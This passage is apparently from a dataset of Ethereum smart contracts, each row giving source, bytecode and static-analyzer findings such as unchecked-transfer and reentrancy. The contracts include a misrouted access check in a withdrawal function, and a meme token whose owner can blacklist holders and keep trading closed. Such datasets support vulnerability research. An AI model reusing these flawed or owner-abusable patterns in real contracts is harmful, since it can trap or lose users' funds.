0316916370a08231916024808301926020929190829003018186803b158015610bfc57600080fd5b505afa158015610c10573d6000803e3d6000fd5b505050506040513d6020811015610c2657600080fd5b50511015610c655760405162461bcd60e51b8152600401808060200182810382526025815260200180610f376025913960400191505060405180910390fd5b60035481610c72336103dc565b011015610cb05760405162461bcd60e51b815260040180806020018281038252603d815260200180610efa603d913960400191505060405180910390fd5b60015460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610d0057600080fd5b505afa158015610d14573d6000803e3d6000fd5b505050506040513d6020811015610d2a57600080fd5b50511015610d695760405162461bcd60e51b815260040180806020018281038252603b815260200180610ebf603b913960400191505060405180910390fd5b33600081815260086020908152604080832042600382015560078054870190556001808201805488019055600954600290920180549288029092019091555481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610dfb57600080fd5b505af1158015610e0f573d6000803e3d6000fd5b505050506040513d6020811015610e2557600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a35056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b65496e73756666696369656e74204f7261636c652041465420746f6b656e2062616c616e63654f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72496e73657274696f6e206f662061646472657373283029206973206e6f7420737570706f72746564496e73657274696f6e206f662073616d652061646472657373206973206e6f7420737570706f72746564a264697066735822122006827492bbb49f5f37d283cddffa3d2e2d4432e4fca3e562e991566c2a63783f64736f6c63430006040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,151 |
0x0ab52c585e2dd2826a9d6876af1e5499e7286d12 | pragma solidity ^0.4.21 ;
interface IERC20Token {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenlender) public constant returns (uint balance);
function allowance(address tokenlender, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenlender, address indexed spender, uint tokens);
}
contract LLV_v31_5 {
address owner ;
function LLV_v31_5 () public {
owner = msg.sender;
}
modifier onlyOwner () {
require(msg.sender == owner );
_;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 ID = 11211 ;
function setID ( uint256 newID ) public onlyOwner {
ID = newID ;
}
function getID () public constant returns ( uint256 ) {
return ID ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 ID_control = 1000 ;
function setID_control ( uint256 newID_control ) public onlyOwner {
ID_control = newID_control ;
}
function getID_control () public constant returns ( uint256 ) {
return ID_control ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Cmd = 1000 ;
function setCmd ( uint256 newCmd ) public onlyOwner {
Cmd = newCmd ;
}
function getCmd () public constant returns ( uint256 ) {
return Cmd ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Cmd_control = 1000 ;
function setCmd_control ( uint256 newCmd_control ) public onlyOwner {
Cmd_control = newCmd_control ;
}
function getCmd_control () public constant returns ( uint256 ) {
return Cmd_control ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Depositary_function = 1000 ;
function setDepositary_function ( uint256 newDepositary_function ) public onlyOwner {
Depositary_function = newDepositary_function ;
}
function getDepositary_function () public constant returns ( uint256 ) {
return Depositary_function ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Depositary_function_control = 1000 ;
function setDepositary_function_control ( uint256 newDepositary_function_control ) public onlyOwner {
Depositary_function_control = newDepositary_function_control ;
}
function getDepositary_function_control () public constant returns ( uint256 ) {
return Depositary_function_control ;
}
address public User_1 = msg.sender ;
address public User_2 ;// _User_2 ;
address public User_3 ;// _User_3 ;
address public User_4 ;// _User_4 ;
address public User_5 ;// _User_5 ;
IERC20Token public Securities_1 ;// _Securities_1 ;
IERC20Token public Securities_2 ;// _Securities_2 ;
IERC20Token public Securities_3 ;// _Securities_3 ;
IERC20Token public Securities_4 ;// _Securities_4 ;
IERC20Token public Securities_5 ;// _Securities_5 ;
uint256 public Standard_1 ;// _Standard_1 ;
uint256 public Standard_2 ;// _Standard_2 ;
uint256 public Standard_3 ;// _Standard_3 ;
uint256 public Standard_4 ;// _Standard_4 ;
uint256 public Standard_5 ;// _Standard_5 ;
function Eligibility_Group_1 (
address _User_1 ,
IERC20Token _Securities_1 ,
uint256 _Standard_1
)
public onlyOwner
{
User_1 = _User_1 ;
Securities_1 = _Securities_1 ;
Standard_1 = _Standard_1 ;
}
function Eligibility_Group_2 (
address _User_2 ,
IERC20Token _Securities_2 ,
uint256 _Standard_2
)
public onlyOwner
{
User_2 = _User_2 ;
Securities_2 = _Securities_2 ;
Standard_2 = _Standard_2 ;
}
function Eligibility_Group_3 (
address _User_3 ,
IERC20Token _Securities_3 ,
uint256 _Standard_3
)
public onlyOwner
{
User_3 = _User_3 ;
Securities_3 = _Securities_3 ;
Standard_3 = _Standard_3 ;
}
function Eligibility_Group_4 (
address _User_4 ,
IERC20Token _Securities_4 ,
uint256 _Standard_4
)
public onlyOwner
{
User_4 = _User_4 ;
Securities_4 = _Securities_4 ;
Standard_4 = _Standard_4 ;
}
function Eligibility_Group_5 (
address _User_5 ,
IERC20Token _Securities_5 ,
uint256 _Standard_5
)
public onlyOwner
{
User_5 = _User_5 ;
Securities_5 = _Securities_5 ;
Standard_5 = _Standard_5 ;
}
//
//
function retrait_1 () public {
require( msg.sender == User_1 );
require( Securities_1.transfer(User_1, Standard_1) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_2 () public {
require( msg.sender == User_2 );
require( Securities_2.transfer(User_2, Standard_2) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_3 () public {
require( msg.sender == User_3 );
require( Securities_3.transfer(User_3, Standard_3) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_4 () public {
require( msg.sender == User_4 );
require( Securities_4.transfer(User_4, Standard_4) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_5 () public {
require( msg.sender == User_1 );
require( Securities_5.transfer(User_5, Standard_5) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
// }
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_1 = " 0 " ;
function setData_1 ( string newData_1 ) public onlyOwner {
inData_1 = newData_1 ;
}
function getData_1 () public constant returns ( string ) {
return inData_1 ;
}
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_2 = " 0 " ;
function setData_2 ( string newData_2 ) public onlyOwner {
inData_2 = newData_2 ;
}
function getData_2 () public constant returns ( string ) {
return inData_2 ;
}
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_3 = " 0 " ;
function setData_3 ( string newData_3 ) public onlyOwner {
inData_3 = newData_3 ;
}
function getData_3 () public constant returns ( string ) {
return inData_3 ;
}
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_4 = " 0 " ;
function setData_4 ( string newData_4 ) public onlyOwner {
inData_4 = newData_4 ;
}
function getData_4 () public constant returns ( string ) {
return inData_4 ;
}
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_5 = " 0 " ;
function setData_5 ( string newData_5 ) public onlyOwner {
inData_5 = newData_5 ;
}
function getData_5 () public constant returns ( string ) {
return inData_5 ;
}
// }
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_6 = " 0 " ;
function setData_6 ( string newData_6 ) public onlyOwner {
inData_6 = newData_6 ;
}
function getData_6 () public constant returns ( string ) {
return inData_6 ;
}
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_7 = " 0 " ;
function setData_7 ( string newData_7 ) public onlyOwner {
inData_7 = newData_7 ;
}
function getData_7 () public constant returns ( string ) {
return inData_7 ;
}
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_8 = " 0 " ;
function setData_8 ( string newData_8 ) public onlyOwner {
inData_8 = newData_8 ;
}
function getData_8 () public constant returns ( string ) {
return inData_8 ;
}
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_9 = " 0 " ;
function setData_9 ( string newData_9 ) public onlyOwner {
inData_9 = newData_9 ;
}
function getData_9 () public constant returns ( string ) {
return inData_9 ;
}
// IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inData_10 = " 0 " ;
function setData_10 ( string newData_10 ) public onlyOwner {
inData_10 = newData_10 ;
}
function getData_10 () public constant returns ( string ) {
return inData_10 ;
}
} | 0x6080604052600436106102a85763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630160751c81146102ad5780630a642d00146102c75780630fa356bd146102dc5780632660b56c146103065780632dbce3901461035f57806334771f811461037757806338a2cd0f146103d05780633c358483146104295780634108a00b14610482578063466f0004146104ac5780634afbb7d714610536578063506d9ebd1461055d5780635f8a30291461057257806360668e58146105875780636699d9cd1461059c578063684ecd59146105cd578063691f2216146105e25780637055410b146105f757806373be0a991461060c5780637539189c1461062157806378238cf0146106365780637ce6e4ca1461064e5780637ff2acb714610663578063882b4e6814610678578063888419ed1461068d5780638a1d42f4146106e65780638bec683f1461073f578063927d41ee146107545780639eee57871461077e578063a21a32cb14610793578063ab9dbd07146107a8578063adb1f00e146107bd578063b10c7544146107e7578063b55459d1146107fc578063beb9571c14610811578063bebe4f6d14610826578063bedda13f1461083b578063c2a029f014610894578063c4057e61146108ac578063c946f3af146108c1578063cfa446ec146108d6578063d51d4fa8146108eb578063d70108a614610900578063daf760d014610915578063dc5d184f1461092a578063dd0e390214610942578063e5b6b4fb1461099b578063eab15085146109b0578063eaeb83a214610a09578063eb0eea6114610a1e578063efbb5f1714610a33578063f3acc06b14610a48578063f3cee64d14610a5d578063f8e1746414610a75578063fb5d599914610a9f578063fc23618814610ab4578063ff9151dd14610b0d575b600080fd5b3480156102b957600080fd5b506102c5600435610b22565b005b3480156102d357600080fd5b506102c5610b3e565b3480156102e857600080fd5b506102c5600160a060020a0360043581169060243516604435610c1d565b34801561031257600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c5943694929360249392840191908190840183828082843750949750610c769650505050505050565b34801561036b57600080fd5b506102c5600435610ca4565b34801561038357600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c5943694929360249392840191908190840183828082843750949750610cc09650505050505050565b3480156103dc57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c5943694929360249392840191908190840183828082843750949750610cea9650505050505050565b34801561043557600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c5943694929360249392840191908190840183828082843750949750610d149650505050505050565b34801561048e57600080fd5b506102c5600160a060020a0360043581169060243516604435610d3e565b3480156104b857600080fd5b506104c1610d97565b6040805160208082528351818301528351919283929083019185019080838360005b838110156104fb5781810151838201526020016104e3565b50505050905090810190601f1680156105285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054257600080fd5b5061054b610e2d565b60408051918252519081900360200190f35b34801561056957600080fd5b506104c1610e33565b34801561057e57600080fd5b5061054b610e94565b34801561059357600080fd5b506104c1610e9a565b3480156105a857600080fd5b506105b1610efb565b60408051600160a060020a039092168252519081900360200190f35b3480156105d957600080fd5b506104c1610f0a565b3480156105ee57600080fd5b506105b1610f6b565b34801561060357600080fd5b506102c5610f7a565b34801561061857600080fd5b506104c1610ff0565b34801561062d57600080fd5b506104c1611051565b34801561064257600080fd5b506102c56004356110b2565b34801561065a57600080fd5b506104c16110ce565b34801561066f57600080fd5b506104c161112f565b34801561068457600080fd5b506105b1611190565b34801561069957600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c594369492936024939284019190819084018382808284375094975061119f9650505050505050565b3480156106f257600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c59436949293602493928401919081908401838280828437509497506111c99650505050505050565b34801561074b57600080fd5b5061054b6111f3565b34801561076057600080fd5b506102c5600160a060020a03600435811690602435166044356111f9565b34801561078a57600080fd5b5061054b611252565b34801561079f57600080fd5b506105b1611258565b3480156107b457600080fd5b5061054b611267565b3480156107c957600080fd5b506102c5600160a060020a036004358116906024351660443561126d565b3480156107f357600080fd5b5061054b6112c6565b34801561080857600080fd5b506105b16112cc565b34801561081d57600080fd5b506105b16112db565b34801561083257600080fd5b5061054b6112ea565b34801561084757600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c59436949293602493928401919081908401838280828437509497506112f09650505050505050565b3480156108a057600080fd5b506102c560043561131a565b3480156108b857600080fd5b506104c1611336565b3480156108cd57600080fd5b5061054b611397565b3480156108e257600080fd5b5061054b61139d565b3480156108f757600080fd5b506105b16113a3565b34801561090c57600080fd5b5061054b6113b2565b34801561092157600080fd5b506104c16113b8565b34801561093657600080fd5b506102c5600435611419565b34801561094e57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c59436949293602493928401919081908401838280828437509497506114359650505050505050565b3480156109a757600080fd5b506105b161145f565b3480156109bc57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c594369492936024939284019190819084018382808284375094975061146e9650505050505050565b348015610a1557600080fd5b506105b1611498565b348015610a2a57600080fd5b506105b16114a7565b348015610a3f57600080fd5b506102c56114b6565b348015610a5457600080fd5b506102c561152c565b348015610a6957600080fd5b506102c56004356115a2565b348015610a8157600080fd5b506102c5600160a060020a03600435811690602435166044356115be565b348015610aab57600080fd5b5061054b611617565b348015610ac057600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c594369492936024939284019190819084018382808284375094975061161d9650505050505050565b348015610b1957600080fd5b506102c5611647565b600054600160a060020a03163314610b3957600080fd5b600555565b600954600160a060020a03163314610b5557600080fd5b600e546009546013546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b505af1158015610bc8573d6000803e3d6000fd5b505050506040513d6020811015610bde57600080fd5b50511515610beb57600080fd5b60025460015414610bfb57600080fd5b60045460035414610c0b57600080fd5b60065460055414610c1b57600080fd5b565b600054600160a060020a03163314610c3457600080fd5b60078054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600c805493909416921691909117909155601155565b600054600160a060020a03163314610c8d57600080fd5b8051610ca09060179060208401906116bd565b5050565b600054600160a060020a03163314610cbb57600080fd5b600655565b600054600160a060020a03163314610cd757600080fd5b8051610ca090601a9060208401906116bd565b600054600160a060020a03163314610d0157600080fd5b8051610ca09060189060208401906116bd565b600054600160a060020a03163314610d2b57600080fd5b8051610ca090601f9060208401906116bd565b600054600160a060020a03163314610d5557600080fd5b600b8054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff19918216179091556010805493909416921691909117909155601555565b601f8054604080516020600260001961010060018716150201909416939093048085018490048402820184019092528181526060939092909190830182828015610e225780601f10610df757610100808354040283529160200191610e22565b820191906000526020600020905b815481529060010190602001808311610e0557829003601f168201915b505050505090505b90565b60055490565b601d8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b60145481565b601a8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600d54600160a060020a031681565b601e8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600754600160a060020a031681565b600754600160a060020a03163314610f9157600080fd5b601054600b546015546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b601c8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b60188054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600054600160a060020a031633146110c957600080fd5b600455565b60168054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b60178054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600854600160a060020a031681565b600054600160a060020a031633146111b657600080fd5b8051610ca090601d9060208401906116bd565b600054600160a060020a031633146111e057600080fd5b8051610ca09060199060208401906116bd565b60025490565b600054600160a060020a0316331461121057600080fd5b60098054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600e805493909416921691909117909155601355565b60115481565b600c54600160a060020a031681565b60015490565b600054600160a060020a0316331461128457600080fd5b60088054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600d805493909416921691909117909155601255565b60035490565b600b54600160a060020a031681565b600954600160a060020a031681565b60155481565b600054600160a060020a0316331461130757600080fd5b8051610ca09060169060208401906116bd565b600054600160a060020a0316331461133157600080fd5b600255565b60198054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b60135481565b60125481565b600e54600160a060020a031681565b60045490565b601b8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600054600160a060020a0316331461143057600080fd5b600155565b600054600160a060020a0316331461144c57600080fd5b8051610ca090601b9060208401906116bd565b601054600160a060020a031681565b600054600160a060020a0316331461148557600080fd5b8051610ca090601e9060208401906116bd565b600a54600160a060020a031681565b600f54600160a060020a031681565b600854600160a060020a031633146114cd57600080fd5b600d546008546012546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b600754600160a060020a0316331461154357600080fd5b600c546007546011546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b600054600160a060020a031633146115b957600080fd5b600355565b600054600160a060020a031633146115d557600080fd5b600a8054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600f805493909416921691909117909155601455565b60065490565b600054600160a060020a0316331461163457600080fd5b8051610ca090601c9060208401906116bd565b600a54600160a060020a0316331461165e57600080fd5b600f54600a546014546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106116fe57805160ff191683800117855561172b565b8280016001018555821561172b579182015b8281111561172b578251825591602001919060010190611710565b5061173792915061173b565b5090565b610e2a91905b8082111561173757600081556001016117415600a165627a7a72305820120308f763008613205c6e4aa183960f70846f89526abe3e233503a4a49a5ba70029 | {"success": true, "error": null, "results": {}} | 10,152 |
0xcca6283fce60f97b2a2bd2d07920946a4f454ad6 | // SPDX-License-Identifier: Unlicensed
/**
Burn all the 0, we only pursue multiples, we don't care about anything else, the only goal, burn all 0, let's get to 1 USDT!
Supply: 1,000,000,000,000
Burn: 500,000,000,000
Max buy: 10,000,000,000
Max wallet: 20,000,000,000
Liquidity: 2 ETH
Lock and renounce ownership.
We are Meme coin, and the essence of Meme culture is to be small. This is our original intention. We are fed up with the gimmicks. Simple, exquisite, dream, freedom, self, great!
No web
No TG
No discord
No Twitter
Only manic target
There is no point in anything but growth
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BURN0 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Burn 0";
string private constant _symbol = "B0";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 1;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 1;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x9E6e0A3BC27f8352Cecc5007873627Afb0DeDB71);
address payable private _marketingAddress = payable(0x9E6e0A3BC27f8352Cecc5007873627Afb0DeDB71);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
